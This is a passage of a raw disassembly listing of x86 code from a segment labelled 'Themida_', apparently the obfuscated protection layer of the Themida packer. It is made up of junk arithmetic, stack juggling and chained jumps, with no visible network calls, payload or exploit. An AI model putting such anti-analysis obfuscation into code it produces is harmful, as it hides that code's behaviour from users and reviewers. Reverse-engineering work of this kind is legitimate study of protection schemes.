; END OF FUNCTION CHUNK	FOR sub_5671E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560457


loc_56BA06:				; CODE XREF: sub_560457+1j
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_57448D
; END OF FUNCTION CHUNK	FOR sub_560457
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_56BA12:				; CODE XREF: sub_571289-E9A6j
		push	edx
		mov	edx, 1B13288Eh
		jmp	sub_5642C7
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------


loc_56BA1D:				; CODE XREF: Themida_:00565F07j
		add	[esp], eax
		add	dword ptr [esp], 606B569Eh
		add	dword ptr [esp], 528D7AF7h
		jmp	loc_569788
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ACDE


loc_56BA33:				; CODE XREF: sub_56ACDE-38A1j
		pop	eax
		xchg	edx, edi
		inc	edx
		xor	edi, edx
		xor	edx, edi
		jmp	loc_573E25
; END OF FUNCTION CHUNK	FOR sub_56ACDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_56BA40:				; CODE XREF: sub_570FB7+601j
		push	[esp+0Ch+var_C]
		pop	ebx
		jmp	loc_56571C
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_56BA49:				; CODE XREF: sub_5638E4+11B23j
		sub	edi, 3B7B7B97h
		add	edi, edx
		jmp	loc_56F93F
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_56BA56:				; CODE XREF: sub_561F05+F585j
		mov	edx, 7BB6568Eh
		jmp	loc_56B7E1
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------


loc_56BA60:				; CODE XREF: Themida_:00574D0Fj
		sub	ecx, 60E827DCh
		add	ecx, ebp
		push	edx
		mov	edx, 60E827DCh
		add	ecx, 6A720509h
		add	ecx, edx
		sub	ecx, 6A720509h
		pop	edx
		sub	ecx, 1F265C09h
		pop	ebp
		push	6159h
		mov	[esp], eax
		jmp	loc_56719D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56BA91:				; CODE XREF: sub_572075-8438j
		sub	ebp, 59F02FE2h
		push	edx
		mov	edx, 3B4C0164h
		or	edx, 7536424Fh
		add	edx, 900D1510h
		add	ebp, 5B153BBAh
		sub	ebp, 62C863F8h
		add	ebp, edx
		add	ebp, 62C863F8h
		sub	ebp, 5B153BBAh
		pop	edx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	eax, 0C2A486Fh
		neg	eax
		sub	eax, 0A7269978h
		sub	ebp, 0D760011h
		add	ebp, eax
		add	ebp, 0D760011h
		pop	eax
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_56AD76
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_56BAFC:				; CODE XREF: sub_571890-93EFj
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_56322B
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56BB08:				; CODE XREF: sub_571F6F-AD6Bj
		add	esp, 4
		push	edx
		jmp	loc_56F0E2
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_56BB11:				; CODE XREF: sub_5734A7-7CCBj
		not	edx
		shl	edx, 2
		dec	edx
		xor	edx, 328C8647h
		sub	esi, edx
		pop	edx
		add	esi, 42D40F6h
		add	esi, 48816C72h
		jmp	loc_56F816
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------


loc_56BB31:				; CODE XREF: Themida_:0057043Dj
		neg	ebp
		sub	ebp, 0FBD2DD81h
		mov	eax, ebp
		pop	ebp
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_567304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56BB4A:				; CODE XREF: sub_561027+FA06j
		add	edx, edi
		push	ebp
		mov	ebp, 174A2ABDh
		sub	edx, ebp
		jmp	loc_570567
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56BB59:				; CODE XREF: sub_56FB8A+4A40j
		push	edx
		push	ecx
		mov	ecx, 56763682h
		jmp	loc_56B4BD
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_56BB65:				; CODE XREF: sub_5648C6-390Cj
		push	esi
		jmp	loc_5699E1
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5662F9


loc_56BB6B:				; CODE XREF: sub_5662F9+8BE9j
		mov	[esp+10h+var_10], edi
		mov	edi, 5F2279CAh
		xor	edi, 28644B6Bh
		push	ebx
		mov	ebx, 59E30823h
		sub	edi, ebx
		pop	ebx
		neg	edi
		shl	edi, 8
		shr	edi, 3
		xor	edi, 139AB044h
		add	esi, edi
		pop	edi
		jmp	loc_56E645
; END OF FUNCTION CHUNK	FOR sub_5662F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56BB98:				; CODE XREF: sub_56616D+E6F3j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-14h+arg_10]
		jmp	loc_57474B
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56BBAB:				; CODE XREF: sub_561418+4983j
		mov	[esp+1Ch+var_1C], edx
		jmp	loc_560CE1
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56BBB3:				; CODE XREF: sub_57354D-5F85j
		xor	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_56047D
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56BBC6:				; CODE XREF: sub_565632+CF65j
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		not	edx
		push	edx
		not	[esp-10h+arg_C]
		pop	edx
		dec	edx
		xor	edx, 68F67B6Fh
		mov	ecx, edx
		pop	edx
		push	esi
		jmp	loc_56C52E
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56208F


loc_56BBE3:				; CODE XREF: sub_56208F+7E31j
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_573C94
; END OF FUNCTION CHUNK	FOR sub_56208F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574503


loc_56BBFA:				; CODE XREF: sub_574503-5492j
		pop	esp
		mov	[esp+0], edi
		push	5FBEh
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	edi
		push	3D09h
		jmp	loc_56790A
; END OF FUNCTION CHUNK	FOR sub_574503
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562BA0


loc_56BC18:				; CODE XREF: sub_562BA0+97D3j
		push	esp
		mov	edx, [esp+4+var_4]
		add	esp, 4
		add	edx, 4
		jmp	loc_564F40
; END OF FUNCTION CHUNK	FOR sub_562BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56BC2D:				; CODE XREF: sub_56FB8A-5D74j
		add	ebx, 3E527632h
		sub	ebx, edi
		sub	ebx, 3E527632h
		push	ebp
		mov	ebp, 25B47842h
		shl	ebp, 1
		add	ebp, 43083F8Dh
		shl	ebp, 4
		shl	ebp, 1
		push	edi
		mov	edi, 27F76C67h
		or	edi, 4E731F82h
		neg	edi
		jmp	loc_568CC5
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567C58


loc_56BC61:				; CODE XREF: sub_567C58-473Fj
		add	eax, 2
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		jmp	loc_566019
; END OF FUNCTION CHUNK	FOR sub_567C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56BC6F:				; CODE XREF: sub_5678CB+AC78j
		push	edx
		mov	edx, 966832h
		inc	edx
		shr	edx, 8
		shr	edx, 2
		jmp	loc_5747E2
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56BC81:				; CODE XREF: sub_57146D-FAF9j
		push	12C3h
		mov	[esp+0Ah+var_C+2], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_564B37
; END OF FUNCTION CHUNK	FOR sub_57146D

; =============== S U B	R O U T	I N E =======================================



sub_56BC97	proc near		; DATA XREF: Themida_:0055FDBCo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00562143 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005630ED SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564646 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565C03 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056894C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005696AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A3A9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B152 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B73C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056CD39 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00570066 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057170B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573013 SIZE 0000000B BYTES

		mov	ax, [esp+0]
		jmp	loc_5696AF
sub_56BC97	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56BCA0:				; CODE XREF: sub_57354D-1223Cj
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	eax
		mov	eax, 4
		sub	ecx, 57E1534Eh
		add	ecx, eax
		add	ecx, 57E1534Eh
		pop	eax
		push	edx
		push	eax
		mov	eax, 455D5A6Ah
		mov	edx, 78B57BABh
		xor	edx, eax
		jmp	loc_57154D
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574D8F


loc_56BCCC:				; CODE XREF: sub_574D8F-7AD5j
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp+8+var_8]
		pop	esp
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		jmp	loc_56A920
; END OF FUNCTION CHUNK	FOR sub_574D8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56BCF1:				; CODE XREF: sub_561027+F543j
		push	[esp+18h+var_18]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_5659D2
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569E1B


loc_56BD1A:				; CODE XREF: sub_569E1B-3E88j
		add	esp, 4
		jmp	loc_568989
; END OF FUNCTION CHUNK	FOR sub_569E1B
; ---------------------------------------------------------------------------


loc_56BD25:				; CODE XREF: Themida_:0056CDB8j
		mov	[esp], ecx
		push	esp
		jmp	loc_5635F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_56BD2E:				; CODE XREF: sub_564BC5+CB6Dj
		mov	[esp+0Ch+var_C], edi
		jmp	sub_562954
; END OF FUNCTION CHUNK	FOR sub_564BC5

; =============== S U B	R O U T	I N E =======================================



sub_56BD36	proc near		; DATA XREF: Themida_:0055FD80o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00561E74 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005687E0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F343 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00572126 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00573E1E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00574963 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00574F86 SIZE 00000019 BYTES

		push	76D5h
		mov	[esp+4+var_4], esi
		push	eax
		jmp	loc_573E1E
sub_56BD36	endp


; =============== S U B	R O U T	I N E =======================================



sub_56BD44	proc near		; CODE XREF: sub_56E90A-C321j

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056050E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056068D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560A43 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00561256 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00561D89 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562007 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005620FC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00562A0F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00562C98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00562FD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563BAA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056462F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564691 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565761 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565A49 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00566BCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005673DD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005683D5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005684B0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005684FC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005696D9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00569724 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056997A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A50C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C0CE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DB32 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E47F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571A81 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572518 SIZE 00000015 BYTES

		sub	esp, 4
		jmp	loc_564691
sub_56BD44	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56BD4C:				; CODE XREF: sub_561418+C59j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_57529E
		sub	esp, 4
		jmp	loc_56563A
; END OF FUNCTION CHUNK	FOR sub_561418

; =============== S U B	R O U T	I N E =======================================



sub_56BD61	proc near		; DATA XREF: Themida_:0055FE88o

; FUNCTION CHUNK AT 005749E9 SIZE 00000005 BYTES

		neg	byte ptr [esp+0]
		pushf
		jmp	loc_5749E9
sub_56BD61	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_56BD6A:				; CODE XREF: sub_575420+1j
		xor	al, bl
		push	ebx
		mov	bh, 63h
		jmp	loc_567ED5
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_56BD74:				; CODE XREF: sub_5620B7+CC5Bj
		mov	dh, 73h
		not	dh
		add	dh, 41h
		jmp	loc_566151
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_56BD80:				; CODE XREF: sub_569A84+7738j
		mov	ebp, eax
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_572F21
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------


loc_56BD8A:				; CODE XREF: Themida_:00562E57j
		neg	ebx
		inc	ebx
		dec	ebx
		jmp	loc_56A905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56BD93:				; CODE XREF: sub_564D26+48C1j
		xor	ebx, 631F71B1h
		jmp	loc_56F928
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568F83


loc_56BD9E:				; CODE XREF: sub_568F83+Fj
		and	ebx, 4F1C6CF0h
		sub	ebx, 9E6FB6AAh
		mov	esi, ebx
		jmp	loc_562DBB
; END OF FUNCTION CHUNK	FOR sub_568F83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_56BDB1:				; CODE XREF: sub_56102D+12BBAj
		pop	esp
		add	esp, 4
		push	5403h
		mov	[esp+8+var_8], ecx
		jmp	loc_57232B
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_56BDC5:				; CODE XREF: sub_574CDD-6DDCj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_5643F1
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_56BDD8:				; CODE XREF: sub_5653AD+ED7Dj
		sub	ebx, 71343170h
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_56E80F
; END OF FUNCTION CHUNK	FOR sub_5653AD

; =============== S U B	R O U T	I N E =======================================



sub_56BDE9	proc near		; CODE XREF: sub_56ACDE+1A15j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560BFE SIZE 00000014 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_560BFE
sub_56BDE9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_56BDFF:				; CODE XREF: sub_570CE4+32EBj
		shl	eax, 6
		jmp	loc_56660F
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56BE07:				; CODE XREF: sub_564D26+5523j
		push	5448h
		mov	[esp+20h+var_20], edx
		mov	edx, 5E050C6h
		or	edi, edx
		push	[esp+20h+var_20]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_569694
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------


loc_56BE2E:				; CODE XREF: Themida_:0056A1A9j
		add	esp, 4
		jmp	loc_56E139
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5631A3


loc_56BE36:				; CODE XREF: sub_5631A3+6j
		mov	[esp+4+var_4], edx
		mov	edx, 16106BD7h
		mov	edi, 16106BDBh
		push	edx
		mov	edx, 6C405CEEh
		sub	edx, 660B1A1Ch
		sub	edi, edx
		pop	edx
		sub	edi, edx
		add	edi, 63542D2h
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		add	esp, 4
		sub	dword ptr [esp+4], 13C935A6h
		add	[esp+4], edi
		jmp	loc_565ABF
; END OF FUNCTION CHUNK	FOR sub_5631A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56BE87:				; CODE XREF: sub_561541+6A66j
		neg	edx
		shr	edx, 2
		add	edx, 42CF5A6Ch
		add	ebx, edx
		pop	edx
		add	ebx, 0F29CBDB0h
		sub	edx, ebx
		mov	ebx, [esp+10h+var_10]
		jmp	loc_572EE4
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56BEA5:				; CODE XREF: sub_569193+11D0j
		pop	eax
		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_570C2D
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726FB


loc_56BEB4:				; CODE XREF: sub_5726FB-B501j
		add	edi, 4
		jmp	loc_57256E
; END OF FUNCTION CHUNK	FOR sub_5726FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56BEBF:				; CODE XREF: sub_56CC46+38F0j
		add	ecx, esi
		add	ecx, 52B20B69h
		push	edx
		jmp	loc_5719EC
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_56BECD:				; CODE XREF: sub_560EA2+11CB1j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	ebx
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebp
		push	ebx
		mov	ebx, 4DCC384Ch
		jmp	loc_56DDFE
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_56BF1A:				; CODE XREF: sub_56CD13-6A37j
		mov	ecx, 98BCD12Fh
		jmp	loc_5611CE
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_56BF24:				; CODE XREF: sub_5680FB-5E77j
		add	esp, 4
		xchg	ebp, [esp+4+var_4]
		push	[esp+4+var_4]
		pop	ebp
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		push	3408h
		mov	[esp+10h+var_10], ecx
		mov	ecx, 586952BAh
		sub	eax, ecx
		mov	ecx, [esp+10h+var_10]
		jmp	loc_569B07
; END OF FUNCTION CHUNK	FOR sub_5680FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560C12


loc_56BF51:				; CODE XREF: sub_560C12+681j
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		push	[esp-4+arg_4]
		push	dword ptr [esp+0]
		jmp	loc_565CC2
; END OF FUNCTION CHUNK	FOR sub_560C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56BF6A:				; CODE XREF: sub_5605BC+Cj
		mov	ebp, 1D5E39C4h
		push	ebp
		neg	[esp+14h+var_14]
		pop	ebp
		jmp	loc_571BBA
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_56BF79:				; CODE XREF: sub_5643EB+10FA4j
		add	eax, esi
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		mov	[ecx], dl
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		pop	eax
		push	dword ptr [esp+0]
		jmp	loc_56B4AA
; END OF FUNCTION CHUNK	FOR sub_5643EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_56BF9D:				; CODE XREF: sub_56D69D-B22Ej
		add	eax, 3F2B2BC6h
		sub	eax, edx
		sub	eax, 3F2B2BC6h
		pop	edx
		mov	edi, [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_567442
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56BFBE:				; CODE XREF: sub_569193+533Cj
		pop	ebx
		pop	[esp+8+var_8]
		jmp	loc_5638EC
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_56BFC7:				; CODE XREF: sub_5754DA+Aj
		or	ch, 4Ch
		not	ch
		xor	ch, 81h
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	dh, 81h
		sub	dh, 96h
		and	dh, 65h
		not	dh
		xor	dh, 8Bh
		jmp	loc_5696F0
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_56BFE7:				; CODE XREF: sub_566AF9+5C26j
		pop	edx
		add	esp, 4
		jmp	loc_569125
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56BFF3:				; CODE XREF: sub_563A7F+10B82j
		add	esp, 4
		jmp	loc_56A613
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56BFFB:				; CODE XREF: sub_572075-F6D1j
		sub	esi, edx
		add	esi, 113F4CBCh
		jmp	loc_572C60
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_56C008:				; CODE XREF: sub_572DD7+13EDj
		push	edi
		jmp	loc_565F98
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_56C00E:				; CODE XREF: sub_56A608+38B9j
		add	ebx, esi
		jmp	loc_561F3A
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56C015:				; CODE XREF: sub_5685B2+2D8Aj
		sub	edx, 3AC67C51h
		add	edx, ebx
		add	edx, 3AC67C51h
		jmp	loc_571EF2
; ---------------------------------------------------------------------------


loc_56C028:				; CODE XREF: sub_5685B2-188Dj
		add	esp, 4
		add	esp, 4
		xor	ebx, eax
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		mov	eax, esp
		push	ebx
		jmp	loc_570D21
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_56C047:				; CODE XREF: sub_563BCC+10j
		add	esp, 4
		add	ecx, 4
		jmp	loc_57288B
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------


loc_56C055:				; CODE XREF: Themida_:005715EBj
		push	eax
		mov	eax, 9F04539Dh
		add	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		mov	edi, [esp]
		jmp	loc_568622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562676


loc_56C069:				; CODE XREF: sub_562676+22j
		dec	eax
		jmp	loc_56CD68
; END OF FUNCTION CHUNK	FOR sub_562676
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_56C06F:				; CODE XREF: sub_56628B+5F78j
		sub	esi, 7EA1037Fh
		sub	esi, 2413973Fh
		jmp	loc_5685D8
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_56C080:				; CODE XREF: sub_5604FE+D067j
		push	esi
		mov	esi, 508905C4h
		dec	esi
		xor	esi, 6D6E45EFh
		or	esi, 5DAB21A3h
		jmp	loc_569D9D
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56C098:				; CODE XREF: sub_565632+282Dj
		xor	eax, ecx
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		xchg	ebp, [esp-8+arg_4]
		push	esi
		mov	esi, esp
		jmp	loc_5609B5
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56C0AB:				; CODE XREF: sub_5685B2-667Dj
		pop	[esp+10h+var_10]
		pop	esp
		mov	[esp+8+var_8], ebx
		mov	bh, 0ECh
		jmp	loc_563987
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
